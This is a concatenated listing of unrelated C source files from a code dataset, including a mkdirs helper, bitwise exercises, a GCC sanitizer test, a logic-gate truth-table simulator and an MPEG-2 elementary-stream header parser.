#include <sys/types.h>
#include <errno.h>
/**
* mkdirs implementation as there's no c version
*
* http://stackoverflow.com/questions/2336242/recursive-mkdir-system-call-on-unix
*
* @param path
* @param nmode
* @return 0 if successful, 1 on failure
*/
int mkdirs(char *path, mode_t nmode) {
int oumask;
struct stat sb;
if (stat(path, &sb) == 0) {
if (S_ISDIR(sb.st_mode) == 0) {
fprintf(stderr, "%s: file exists but is not a directory", path);
return 1;
}
if (chmod(path, nmode)) {
fprintf(stderr, "%s: %s", path, strerror(errno));
return 1;
}
return 0;
}
oumask = umask(0);
char *npath = strdup(path);
char *p = npath;
// Skip leading slashes.
while (*p == '/')
p++;
while (p = strchr(p, '/')) {
*p = '\0';
if (stat(npath, &sb) != 0) {
if (mkdir(npath, nmode)) {
fprintf(stderr, "cannot create directory %s: %s", npath, strerror(errno));
umask(oumask);
free(npath);
return 1;
}
} else if (S_ISDIR(sb.st_mode) == 0) {
fprintf(stderr, "%s: file exists but is not a directory", npath);
umask(oumask);
free(npath);
return 1;
}
*p++ = '/'; /* restore slash */
while (*p == '/')
p++;
}
/* Create the final directory component. */
if (stat(npath, &sb) && mkdir(npath, nmode)) {
fprintf(stderr, "cannot create directory `%s': %s", npath, strerror(errno));
umask(oumask);
free(npath);
return 1;
}
umask(oumask);
free(npath);
return 0;
}
|
the_stack_data/170453183.c | #include <stdio.h>
#include <assert.h>
int A(int x)
{
//x all 1s => 1
// => 0
return !~x;
}
int B(int x)
{
// x all 0s => 1
// => 0
return !x;
}
int C(int x)
{
// x low byte all 1 => 1
// => 0
return A(x | ~0xff);
}
int D(int x)
{
// x high byte all 0 => 1
// => move right 24bit
return B((x >> ((sizeof(int) - 1) << 3)) & 0xff);
}
void main()
{
int all_bit_one = ~0;
int all_bit_zero = 0;
int low_byte_one = 0x1234 | 0xff;
int high_byte_zero = 0xfa;
assert(A(all_bit_one) == 1);
assert(B(all_bit_one) == 0);
assert(C(all_bit_one) == 1);
assert(D(all_bit_one) == 0);
assert(A(all_bit_zero) == 0);
assert(B(all_bit_zero) == 1);
assert(C(all_bit_zero) == 0);
assert(D(all_bit_zero) == 1);
assert(A(low_byte_one) == 0);
assert(B(low_byte_one) == 0);
assert(C(low_byte_one) == 1);
assert(D(low_byte_one) == 1);
assert(A(high_byte_zero) == 0);
assert(B(high_byte_zero) == 0);
assert(C(high_byte_zero) == 0);
assert(D(high_byte_zero) == 1);
} |
the_stack_data/50666.c | #include<stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char ans[101][99999];
int n,val=10;
char buffer[100000];
scanf("%d",&n);
for(int i=0;i<n;i++)
{
for(int j=0;j<2*i;j++) ans[i][j]='*';
ans[i][2*i]=0;
for(int j=0;j<n-i;j++)
{
sprintf(buffer,"%d",val);
strcat(ans[i],buffer);
val=val+10;
}
}
for(int i=n-1;i>=0;i--)
{
for(int j=0;j<n-i;j++)
{
sprintf(buffer,"%d",val);
strcat(ans[i],buffer);
val=val+10;
}
}
for(int i=0;i<n;i++)
{
int k=strlen(ans[i]);
ans[i][k-1]=0;
printf("%s\n",ans[i]);
}
return 0;
} |
the_stack_data/36073998.c | /* Limit this to known non-strict alignment targets. */
/* { dg-do run { target { i?86-*-linux* x86_64-*-linux* } } } */
/* { dg-options "-O -fsanitize=alignment -fsanitize-recover=alignment -Wno-address-of-packed-member" } */
struct S { int a; char b; long long c; short d[10]; };
struct T { char a; long long b; };
struct U { char a; int b; int c; long long d; struct S e; struct T f; } __attribute__((packed));
struct V { long long a; struct S b; struct T c; struct U u; } v;
__attribute__((noinline, noclone)) int
foo (struct S *p)
{
volatile int i;
i = p->a;
i = p->a;
i = p->a;
i = p->a;
return p->a;
}
int
main ()
{
if (foo (&v.u.e))
__builtin_abort ();
return 0;
}
/* { dg-output "\.c:14:\[0-9]*: \[^\n\r]*member access within misaligned address 0x\[0-9a-fA-F]* for type 'struct S', which requires \[48] byte alignment.*" } */
/* { dg-output "\.c:15:\[0-9]*: \[^\n\r]*member access within misaligned address 0x\[0-9a-fA-F]* for type 'struct S', which requires \[48] byte alignment.*" } */
/* { dg-output "\.c:16:\[0-9]*: \[^\n\r]*member access within misaligned address 0x\[0-9a-fA-F]* for type 'struct S', which requires \[48] byte alignment.*" } */
/* { dg-output "\.c:17:\[0-9]*: \[^\n\r]*member access within misaligned address 0x\[0-9a-fA-F]* for type 'struct S', which requires \[48] byte alignment.*" } */
/* { dg-output "\.c:18:\[0-9]*: \[^\n\r]*member access within misaligned address 0x\[0-9a-fA-F]* for type 'struct S', which requires \[48] byte alignment" } */
|
the_stack_data/167330571.c | void piksrt(int n, float arr[])
{
int i,j;
float a;
for (j=2;j<=n;j++) {
a=arr[j];
i=j-1;
while (i > 0 && arr[i] > a) {
arr[i+1]=arr[i];
i--;
}
arr[i+1]=a;
}
}
|
the_stack_data/161082024.c | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
typedef enum {AND, OR, NAND, NOR, XOR, NOT, PASS, DECODER, MULTIPLEXER} type;
typedef struct {
type gateName;
int* inputVariables;
int* outputVariables;
int* selectorVariables;
int inputNumber;
int outputNumber;
int selectingNumber;
int decodingNumber;
} gate;
// This prints out the contents of int* Variables.
void printIntPointer (int* intPointer, int length) {
for (int i=0; i<length; i++) {
printf("%d | ", intPointer[i]);
}
printf("\n");
}
// This prints out the contents of uniqueVariables.
void printUniqueVariables (char** uniqueVariables, int totalUniqueVariables) {
for (int i=0; i<totalUniqueVariables; i++) {
printf("%s | ", uniqueVariables[i]);
}
printf("\n");
}
// This prints the input side of the truth table.
void printInputSideTruthTable(int* truthTable, int numInputs) {
for (int i=2; i<numInputs+2; i++) {printf("%d ", truthTable[i]);}
}
// This prints the output side of the truth table.
void printOutputSideTruthTable(int* truthTable, int numInputs, int numOutputs) {
for (int i=0; i<numOutputs; i++) {
if (i < (numOutputs-1)) {printf("%d ", truthTable[numInputs+2+i]);}
else {printf("%d", truthTable[numInputs+2+i]);}
}
}
// This function takes input1, input2 and outputs output1 for andGate with a truthTable.
void andLogicGate (int input1, int input2, int output1, int* truthTable) {
truthTable[output1] = truthTable[input1] && truthTable[input2];
}
// This function takes input1, input2, and outputs output1 for orGate with a truthTable.
void orLogicGate (int input1, int input2, int output1, int* truthTable) {
truthTable[output1] = truthTable[input1] || truthTable[input2];
}
// This function takes input1, input2, and outputs output1 for nandGate with a truthTable.
void nandLogicGate (int input1, int input2, int output1, int* truthTable) {
if (truthTable[input1] == 1 && truthTable[input2] == 1) {truthTable[output1] = 0;}
else {truthTable[output1]=1;}
}
// This function takes input1, input2, and outputs output1 for norGate with a truthTable.
void norLogicGate (int input1, int input2, int output1, int* truthTable) {
if (truthTable[input1] == 0 && truthTable[input2] == 0) {truthTable[output1] = 1;}
else {truthTable[output1]=0;}
}
// This function takes input1, input2, and outputs output1 for xorGate with a truthTable.
void xorLogicGate (int input1, int input2, int output1, int* truthTable) {
if (truthTable[input1] != truthTable[input2]) {
truthTable[output1] = 1;
}
else {
truthTable[output1] = 0;
}
}
// This function takes input1 and outputs output1 for notGate with a truthTable.
void notLogicGate (int input1, int output1, int* truthTable) {
if (truthTable[input1] == 0) {truthTable[output1] = 1;}
else {truthTable[output1] = 0;}
}
// This function takes input1 and outputs1 for passGate with a truthTable.
void passLogicGate (int input1, int output1, int* truthTable) {
truthTable[output1] = truthTable[input1];
}
// This function takes in pointers to input and yields output through the decoderNum and truthTable.
void decoderLogicGate (int* inputsPointer, int* outputsPointer, int* truthTable, int decoderNum) {
int maxNum = pow(2, decoderNum);
for (int i=0; i < maxNum; i++) {
truthTable[outputsPointer[i]] = 0;
}
int numValue = 0;
for (int i=0; i < decoderNum; i++) {
if (truthTable[inputsPointer[i]] == 1) {
numValue += pow(2, decoderNum-i-1);
}
}
truthTable[outputsPointer[numValue]] = 1;
}
// This function takes in pointers to inputs, outputs, and selectors to create the multiplexer.
void multiplexerLogicGate (int* inputsPointer, int* outputsPointer, int* selectorsPointer, int* truthTable, int selectNumber) {
int jumpToInputNumber = 0;
for (int i=0; i < selectNumber; i++) {
if (truthTable[selectorsPointer[i]] == 1) {
jumpToInputNumber += pow(2, selectNumber-i-1);
//printf("JumpToInputNumber: %d\n", jumpToInputNumber);
}
}
//printf("Final JumpToInputNumber: %d", jumpToInputNumber);
truthTable[outputsPointer[0]] = truthTable[inputsPointer[jumpToInputNumber]];
}
// This flips the bit of one of the variables for the truthtable row-to-row.
void flipBitTruthTable (int* truthTable, int numInputs, int numOutputs) {
for (int i=numInputs+1; i >= 0; i--) {
truthTable[i] = !truthTable[i];
if (truthTable[i] == 1) {break;}
}
}
int main (int argc, char* argv[]) {
// Reads in the file and checks validity.
FILE* file = fopen(argv[1], "r");
if (file == NULL) {return EXIT_FAILURE;}
// Main variables.
char** uniqueVariables = NULL; int totalUniqueVariables = 2;
// Scanning variables.
int numInputs; int numOutputs; char directiveName[20];
// Reads in the input and dynamically allocates space.
fscanf(file, "%s %d", directiveName, &numInputs);
totalUniqueVariables += numInputs;
uniqueVariables = malloc (sizeof(char*) * totalUniqueVariables);
// Accounts for the case when the inputs are 0/1.
uniqueVariables[0] = "0"; uniqueVariables[1] = "1";
// Stores the input variables inside of uniqueVariables.
for (int i=2; i<totalUniqueVariables; i++) {
uniqueVariables[i] = malloc(sizeof(char) * 20);
fscanf(file, "%s", uniqueVariables[i]);
}
// Reads in the output and dynamically reallocates space.
fscanf(file, "%s %d", directiveName, &numOutputs);
totalUniqueVariables += numOutputs;
uniqueVariables = realloc(uniqueVariables, sizeof(char*) * totalUniqueVariables);
// Stores the output variables inside of uniqueVariables.
for (int i=2+numInputs; i<totalUniqueVariables; i++) {
uniqueVariables[i] = malloc(sizeof(char) * 20);
fscanf(file, "%s", uniqueVariables[i]);
}
// Debugging Check: Print out the contents of uniqueVariables.
// printf("\nDebugging - Contents of uniqueVariables: ");
// printUniqueVariables(uniqueVariables, totalUniqueVariables);
// Creates a truthTable for printing out the row of each TruthTable.
int* truthTable = calloc(totalUniqueVariables, sizeof(int));
truthTable[1] = 1;
int numRows = pow(2, numInputs); int rowIterator = 0;
// Relevant variables for combinationCircuit.
int numLogicGates = 0; gate* combinationCircuit;
// This will build the combinationCircuit.
while (!feof(file)){
// This allocates/reallocates space for the combinationCircuit.
if (numLogicGates == 0) {
combinationCircuit = malloc(sizeof(gate));
}
else {
combinationCircuit = realloc(combinationCircuit, sizeof(gate) * (numLogicGates+1));
}
// Sets up parameters of the particular logic gate that we are using.
combinationCircuit[numLogicGates].decodingNumber = 0;
combinationCircuit[numLogicGates].selectingNumber = 0;
combinationCircuit[numLogicGates].inputVariables = NULL;
combinationCircuit[numLogicGates].outputVariables = NULL;
combinationCircuit[numLogicGates].selectorVariables = NULL;
int numDirectiveInputs = 2; int numDirectiveOutputs = 1;
char charReader[20];
// Reads in the directive name from the file.
fscanf(file, "%s", charReader);
// Determines what type of gate the combinationCircuit[logicGate] is.
if (strcmp("AND", charReader) == 0) {
combinationCircuit[numLogicGates].gateName = 0;
}
else if (strcmp("OR", charReader) == 0) {
combinationCircuit[numLogicGates].gateName = 1;
}
else if (strcmp("NAND", charReader) == 0) {
combinationCircuit[numLogicGates].gateName = 2;
}
else if (strcmp("NOR", charReader) == 0) {
combinationCircuit[numLogicGates].gateName = 3;
}
else if (strcmp("XOR", charReader) == 0) {
combinationCircuit[numLogicGates].gateName = 4;
}
else if (strcmp("NOT", charReader) == 0) {
combinationCircuit[numLogicGates].gateName = 5;
numDirectiveInputs = 1;
}
else if (strcmp("PASS", charReader) == 0) {
combinationCircuit[numLogicGates].gateName = 6;
numDirectiveInputs = 1;
}
else if (strcmp("DECODER", charReader) == 0) {
combinationCircuit[numLogicGates].gateName = 7;
fscanf(file, "%d", &numDirectiveInputs);
combinationCircuit[numLogicGates].decodingNumber = numDirectiveInputs;
numDirectiveOutputs = pow(2, numDirectiveInputs);
}
else if (strcmp("MULTIPLEXER", charReader) == 0) {
combinationCircuit[numLogicGates].gateName = 8;
fscanf(file, "%d", &numDirectiveInputs);
combinationCircuit[numLogicGates].selectingNumber = numDirectiveInputs;
numDirectiveInputs = pow(2, numDirectiveInputs);
}
// Updates fields for the struct.
combinationCircuit[numLogicGates].inputNumber = numDirectiveInputs;
combinationCircuit[numLogicGates].outputNumber = numDirectiveOutputs;
// Dynamically allocate space for numInputDirectives, numOutputDirectives, numSelectorVariables.
combinationCircuit[numLogicGates].inputVariables = malloc(sizeof(int) * numDirectiveInputs);
combinationCircuit[numLogicGates].outputVariables = malloc(sizeof(int) * numDirectiveOutputs);
combinationCircuit[numLogicGates].selectorVariables = malloc(sizeof(int) * combinationCircuit[numLogicGates].selectingNumber);
// Store the directiveInputs in combinationCircuit[gateNum] struct.
for (int i=0; i < numDirectiveInputs; i++) {
fscanf(file, "%s ", charReader);
int switchNum = 0;
for (int j=0; j<totalUniqueVariables; j++) {
if (strcmp(uniqueVariables[j], charReader) == 0) {
combinationCircuit[numLogicGates].inputVariables[i] = j;
switchNum = 1;
break;
}
}
// Reallocate space for temporary variables if it is necessary.
if (switchNum == 0) {
totalUniqueVariables++;
truthTable = realloc(truthTable, sizeof(int) * totalUniqueVariables);
truthTable[totalUniqueVariables-1] = 0;
uniqueVariables = realloc(uniqueVariables, sizeof(char*) * totalUniqueVariables);
uniqueVariables[totalUniqueVariables-1] = malloc(sizeof(char) * 20);
strcpy(uniqueVariables[totalUniqueVariables-1], charReader);
combinationCircuit[numLogicGates].inputVariables[i] = totalUniqueVariables-1;
}
}
// Store the selectorVariables in combinationCircuit[gateNum] struct.
for (int i=0; i < combinationCircuit[numLogicGates].selectingNumber; i++) {
fscanf(file, "%s ", charReader);
for (int j=0; j<totalUniqueVariables; j++) {
if (strcmp(uniqueVariables[j], charReader) == 0) {
combinationCircuit[numLogicGates].selectorVariables[i] = j;
break;
}
}
}
// Store the directiveOutputs in combinationCircuit[gateNum] struct.
for (int i=0; i < numDirectiveOutputs; i++) {
fscanf(file, "%s ", charReader);
int switchNum = 0;
for (int j=0; j<totalUniqueVariables; j++) {
if (strcmp(uniqueVariables[j], charReader) == 0) {
combinationCircuit[numLogicGates].outputVariables[i] = j;
switchNum = 1;
break;
}
}
// Reallocate space for temporary variables if it is necessary.
if (switchNum == 0) {
totalUniqueVariables++;
truthTable = realloc(truthTable, sizeof(int) * totalUniqueVariables);
truthTable[totalUniqueVariables-1] = 0;
uniqueVariables = realloc(uniqueVariables, sizeof(char*) * totalUniqueVariables);
uniqueVariables[totalUniqueVariables-1] = malloc(sizeof(char) * 20);
strcpy(uniqueVariables[totalUniqueVariables-1], charReader);
combinationCircuit[numLogicGates].outputVariables[i] = totalUniqueVariables-1;
}
}
numLogicGates++;
}
// printf("Unique Variables List: "); printUniqueVariables(uniqueVariables, totalUniqueVariables);
/*
// Debugging Check: Print out the parameters of each logic gate.
for (int i=0; i < numLogicGates; i++) {
printf("\nLogic Gate %d:\n", i);
printf("Logic Gate Type: (%d)\n", combinationCircuit[i].gateName);
printf("Input Number: %d \tOutput Number: %d\n", combinationCircuit[i].inputNumber, combinationCircuit[i].outputNumber);
printf("Selecting Number: %d\tDecoding Number: %d\n", combinationCircuit[i].selectingNumber, combinationCircuit[i].decodingNumber);
printf("Input Variables: "); printIntPointer(combinationCircuit[i].inputVariables, combinationCircuit[i].inputNumber);
printf("Output Variables: "); printIntPointer(combinationCircuit[i].outputVariables, combinationCircuit[i].outputNumber);
printf("Selector Variables: "); printIntPointer(combinationCircuit[i].selectorVariables, combinationCircuit[i].selectingNumber);
printf("Truth Table: "); printIntPointer(truthTable, totalUniqueVariables);
printf("------------------------------------------------------------------------\n\n");
} */
// This prints the inputs/outputs for the truthTable.
while (rowIterator < numRows) {
for (int i=0; i < numLogicGates; i++) {
//printf("\n");
// printf("truth[%d] = truth[%d] && truth[%d] = %d && %d\n", combinationCircuit[i].outputVariables[0], combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], truthTable[combinationCircuit[i].inputVariables[0]], truthTable[combinationCircuit[i].inputVariables[1]]);
// truthTable[combinationCircuit[i].outputVariables[0]] = truthTable[combinationCircuit[i].inputVariables[0]] && truthTable[combinationCircuit[i].inputVariables[1]];
if (combinationCircuit[i].gateName == 0) {
andLogicGate(combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], combinationCircuit[i].outputVariables[0], truthTable);
//printf("truth[%d] = truth[%d] AND truth[%d] = %d AND %d = %d\n", combinationCircuit[i].outputVariables[0], combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], truthTable[combinationCircuit[i].inputVariables[0]], truthTable[combinationCircuit[i].inputVariables[1]], truthTable[combinationCircuit[i].outputVariables[0]]);
}
if (combinationCircuit[i].gateName == 1) {
orLogicGate(combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], combinationCircuit[i].outputVariables[0], truthTable);
//printf("truth[%d] = truth[%d] OR truth[%d] = %d OR %d = %d\n", combinationCircuit[i].outputVariables[0], combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], truthTable[combinationCircuit[i].inputVariables[0]], truthTable[combinationCircuit[i].inputVariables[1]], truthTable[combinationCircuit[i].outputVariables[0]]);
}
if (combinationCircuit[i].gateName == 2) {
nandLogicGate(combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], combinationCircuit[i].outputVariables[0], truthTable);
//printf("truth[%d] = truth[%d] NAND truth[%d] = %d NAND %d = %d\n", combinationCircuit[i].outputVariables[0], combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], truthTable[combinationCircuit[i].inputVariables[0]], truthTable[combinationCircuit[i].inputVariables[1]], truthTable[combinationCircuit[i].outputVariables[0]]);
}
if (combinationCircuit[i].gateName == 3) {
norLogicGate(combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], combinationCircuit[i].outputVariables[0], truthTable);
//printf("truth[%d] = truth[%d] NOR truth[%d] = %d NOR %d = %d\n", combinationCircuit[i].outputVariables[0], combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], truthTable[combinationCircuit[i].inputVariables[0]], truthTable[combinationCircuit[i].inputVariables[1]], truthTable[combinationCircuit[i].outputVariables[0]]);
}
if (combinationCircuit[i].gateName == 4) {
//printf("truth[%d] = truth[%d] XOR truth[%d] = %d XOR %d\n", combinationCircuit[i].outputVariables[0], combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], truthTable[combinationCircuit[i].inputVariables[0]], truthTable[combinationCircuit[i].inputVariables[1]]);
xorLogicGate(combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], combinationCircuit[i].outputVariables[0], truthTable);
}
if (combinationCircuit[i].gateName == 5) {
//printf("truth[%d] = truth[%d] XOR truth[%d] = %d XOR %d\n", combinationCircuit[i].outputVariables[0], combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], truthTable[combinationCircuit[i].inputVariables[0]], truthTable[combinationCircuit[i].inputVariables[1]]);
notLogicGate(combinationCircuit[i].inputVariables[0], combinationCircuit[i].outputVariables[0], truthTable);
}
if (combinationCircuit[i].gateName == 6) {
//printf("truth[%d] = truth[%d] XOR truth[%d] = %d XOR %d\n", combinationCircuit[i].outputVariables[0], combinationCircuit[i].inputVariables[0], combinationCircuit[i].inputVariables[1], truthTable[combinationCircuit[i].inputVariables[0]], truthTable[combinationCircuit[i].inputVariables[1]]);
passLogicGate(combinationCircuit[i].inputVariables[0], combinationCircuit[i].outputVariables[0], truthTable);
}
if (combinationCircuit[i].gateName == 7) {
decoderLogicGate(combinationCircuit[i].inputVariables, combinationCircuit[i].outputVariables, truthTable, combinationCircuit[i].decodingNumber);
}
if (combinationCircuit[i].gateName == 8) {
multiplexerLogicGate(combinationCircuit[i].inputVariables, combinationCircuit[i].outputVariables, combinationCircuit[i].selectorVariables, truthTable, combinationCircuit[i].selectingNumber);
}
//printf("\nTruth Table: "); printIntPointer(truthTable, totalUniqueVariables); printf("\n");
}
//printf("\n");
//printf("\nTruth Table: "); printIntPointer(truthTable, totalUniqueVariables); printf("\n");
// This prints input side of truthTable.
printInputSideTruthTable(truthTable, numInputs);
printf("| ");
// This prints output side of truthTable.
printOutputSideTruthTable(truthTable, numInputs, numOutputs);
printf("\n");
//printf("-------------------------------------------------------------------\n");
// This resets truthTable for future iterations.
flipBitTruthTable(truthTable, numInputs, numOutputs);
rowIterator++;
}
// Deallocates dynamically allocated space.
for (int i=0; i<numLogicGates; i++) {
free(combinationCircuit[i].inputVariables);
free(combinationCircuit[i].outputVariables);
free(combinationCircuit[i].selectorVariables);
}
for (int i=2; i<(totalUniqueVariables); i++) {
free(uniqueVariables[i]);
}
free(combinationCircuit);
free(uniqueVariables);
free(truthTable);
return EXIT_SUCCESS;
} |
the_stack_data/97466.c | /*
* Copyright (C) 2004-2013 Lorenzo Pallara, [email protected]
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111-1307, USA.
*/
#include <netinet/in.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <inttypes.h>
#include <unistd.h>
#define ES_HEADER_SIZE 4
#define HEADER_MAX_SIZE 64
/* MPEG VIDEO */
const char* picture_coding[8] = {
"forbidden",
"I-Frame",
"P-Frame",
"B-Frame",
"invalid",
"reserved",
"reserved",
"reserved",
};
const char* profile[8] = {
"reserved",
"High",
"Spatially Scalable",
"SNR Scalable",
"Main",
"Simple",
"reserved",
"reserved",
};
const char* level[16] = {
"reserved",
"reserved",
"reserved",
"reserved",
"High",
"reserved",
"High 1440",
"reserved",
"Main",
"reserved",
"Low",
"reserved",
"reserved",
"reserved",
"reserved",
"reserved",
};
const char* aspect_ratio[16] = {
"forbidden",
"1:1",
"4:3",
"16:9",
"2.21:1",
"reserved",
"reserved",
"reserved",
"reserved",
"reserved",
"reserved",
"reserved",
"reserved",
"reserved",
"reserved",
"reserved",
};
const char* frame_rate[16] = {
"forbidden",
"23.9",
"24",
"25",
"29.9",
"30",
"50",
"59.9",
"60",
"reserved",
"reserved",
"reserved",
"reserved",
"reserved",
"reserved",
"reserved",
};
const float frame_sec[16] = {
1.0,
1/23.9,
1/24.0,
1/25.0,
1/29.9,
1/30.0,
1/50.0,
1/59.9,
1/60.0,
1.0,
1.0,
1.0,
1.0,
1.0,
1.0,
1.0,
};
int main(int argc, char *argv[])
{
int byte_read;
int byte_count;
int bitrated;
float frames;
unsigned int picture_time;
unsigned char picture_type;
unsigned int vbv_delay;
int drop;
int hour;
int min;
int sec;
int pictures;
int closed;
int broken;
int horizontal_size;
int vertical_size;
int aspect_ratioed;
int frame_rated;
int max_frame_size;
int frame_size;
int vbv_buffer_size;
int constrained;
int frame_counter;
double max_bps;
double current_bps;
double average_bps;
unsigned long int gop_count;
unsigned long long int total_byte_count;
unsigned long long int previous_byte_count;
FILE* file_es;
unsigned char es_header[HEADER_MAX_SIZE];
/* Open es file */
if (argc > 1) {
file_es = fopen(argv[1], "rb");
} else {
fprintf(stderr, "Example: esvideompeg2info video.es\n");
return 2;
}
if (file_es == 0) {
fprintf(stderr, "Can't find file %s\n", argv[1]);
return 2;
}
/* Start to process the file */
byte_count = 0;
total_byte_count = 0;
frame_counter = 0;
gop_count = 0;
max_bps = 0;
frame_size = 0;
max_frame_size = 0;
previous_byte_count = 0;
current_bps = 0;
average_bps = 0;
byte_read = fread(es_header, 1, ES_HEADER_SIZE, file_es);
while(byte_read) {
byte_count += byte_read;
total_byte_count += byte_read;
/* Search headers */
if (es_header[0] == 0x00 && es_header[1] == 0x00 && es_header[2] == 0x01 && es_header[3] == 0x00) { /* Picture start header */
frame_counter++;
frame_size = total_byte_count - previous_byte_count;
if (frame_size > max_frame_size) {
max_frame_size = frame_size;
}
previous_byte_count = total_byte_count;
fprintf(stdout, "frame size: %d\n", frame_size);
fprintf(stdout, "Postion %llu, picture %d start header: ", total_byte_count, frame_counter);
byte_read = fread(es_header, 1, 4, file_es);
picture_time = (es_header[0] << 2) | ((es_header[1] & 0xC0) >> 6);
fprintf(stdout, "temporal reference: %u, ", picture_time);
picture_type = (es_header[1] & 0x38) >> 3;
fprintf(stdout, "picture coding type: %s, ", picture_coding[picture_type]);
vbv_delay = ((es_header[1] & 0x07) << 13 ) | (es_header[2] << 5) | ((es_header[3] & 0xf8) >> 3) ;
fprintf(stdout, "vbv delay: %u\n", vbv_delay);
frames++;
byte_read += fread(es_header, 1, ES_HEADER_SIZE, file_es);
} else if (es_header[0] == 0x00 && es_header[1] == 0x00 && es_header[2] == 0x01 && es_header[3] == 0xB3) { /* Sequence video header */
byte_read = fread(es_header, 1, 8, file_es);
horizontal_size = (es_header[0] << 4) | ((es_header[1] & 0xF0) >> 4);
vertical_size = ((es_header[1] & 0x0F) << 8) | es_header[2];
aspect_ratioed = (es_header[3] & 0xF0) >> 4;
frame_rated = (es_header[3] & 0x0F);
fprintf(stdout, "Sequence header: format: %dx%d, %s, %sfps, ", horizontal_size, vertical_size, aspect_ratio[aspect_ratioed], frame_rate[frame_rated]);
bitrated = ((es_header[4] << 10) | (es_header[5] << 2) | ((es_header[6] & 0xC0) >> 6)) * 400;
if (bitrated > 1000000) {
fprintf(stdout, "bitrate: %0.2fMbs, ", (float) bitrated / 1000000.0);
} else if (bitrated > 1000) {
fprintf(stdout, "bitrate: %0.2fKbs, ", (float) bitrated / 1000.0);
} else {
fprintf(stdout, "bitrate: %dbs, ", bitrated);
}
vbv_buffer_size = ((es_header[6] & 0x1F) << 5) | ((es_header[7] & 0xF8) >> 3);
fprintf(stdout, "vbv buffer size: %d, ", vbv_buffer_size);
constrained = (es_header[7] & 0x04) >> 2;
fprintf(stdout, "constrained: %s\n", constrained ? "yes":"no");
if (es_header[7] & 0x02) {
byte_read += fread(es_header, 1, 64, file_es); /* intra quantiser matrix */
if (es_header[63] & 0x01) {
byte_read += fread(es_header, 1, 64, file_es); /* there is also non-intra quantiser matrix */
}
} else if (es_header[7] & 0x01) {
byte_read += fread(es_header, 1, 64, file_es); /* non-intra quantiser matrix */
}
/* read next start code */
byte_read += fread(es_header, 1, ES_HEADER_SIZE, file_es);
if (es_header[0] == 0x00 && es_header[1] == 0x00 && es_header[2] == 0x01 && es_header[3] == 0xB5) { /* Sequence extension */
byte_read += fread(es_header, 1, 6, file_es);
fprintf(stdout, "Sequence header extension: profile is %s, level is %s\n", profile[es_header[0] & 0x07], level[(es_header[1] & 0xF0) >> 4]);
byte_read += fread(es_header, 1, ES_HEADER_SIZE, file_es);
}
} else if (es_header[0] == 0x00 && es_header[1] == 0x00 && es_header[2] == 0x01 && es_header[3] == 0xB7) { /* Sequence End Code header */
fprintf(stdout, "Sequence End Code header\n");
byte_read = fread(es_header, 1, ES_HEADER_SIZE, file_es);
} else if (es_header[0] == 0x00 && es_header[1] == 0x00 && es_header[2] == 0x01 && es_header[3] == 0xB8) { /* GOP video header */
gop_count += 1;
fprintf(stdout, "GOP header: ");
if (byte_count > ES_HEADER_SIZE) {
fprintf(stdout, "measured size: %d bytes, ", byte_count);
if ((frames * frame_sec[frame_rated]) > 0) {
current_bps = (byte_count * 8) / (frames * frame_sec[frame_rated]);
}
fprintf(stdout, "bitrate from measured size (formula has rounds): %fbps, ", current_bps);
if (current_bps > max_bps) {
max_bps = current_bps;
}
average_bps = ((average_bps * (gop_count - 1)) + current_bps) / gop_count;
byte_count = 0;
frames = 0;
}
byte_read = fread(es_header, 1, 4, file_es);
drop = ((es_header[0] & 0x80) > 0);
fprintf(stdout, "drop: %s, ", drop ? "yes":"no");
hour = ((es_header[0] & 0x7C) >> 2);
min = ((es_header[0] & 0x3) << 4) | ((es_header[1] & 0xF0) >> 4);
sec = ((es_header[1] & 0x7) << 3) | ((es_header[2] & 0xE0) >> 5);
pictures = ((es_header[2] & 0x1F) << 1) | ((es_header[3] & 0x80) >> 7);
fprintf(stdout, "time code: %02d:%02d:%02d pictures:%02d, ", hour, min, sec, pictures);
closed = ((es_header[3] & 0x40) > 0);
fprintf(stdout, "closed: %s, ", closed ? "yes":"no");
broken = ((es_header[3] & 0x20) > 0);
fprintf(stdout, "broken: %s\n", broken ? "yes":"no");
byte_read += fread(es_header, 1, ES_HEADER_SIZE, file_es);
} else {
es_header[0] = es_header[1];
es_header[1] = es_header[2];
es_header[2] = es_header[3];
byte_read = fread(es_header + 3, 1, 1, file_es);
}
}
// fprintf(stdout, "maximum bit rate was:%f\n", max_bps);
fprintf(stdout, "maximum frame size was:%d bytes\n", max_frame_size);
// fprintf(stdout, "average bit rate is: %f\n", average_bps);
return 0;
}
|
the_stack_data/130995.c |
#include <stdio.h>
int main()
{
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.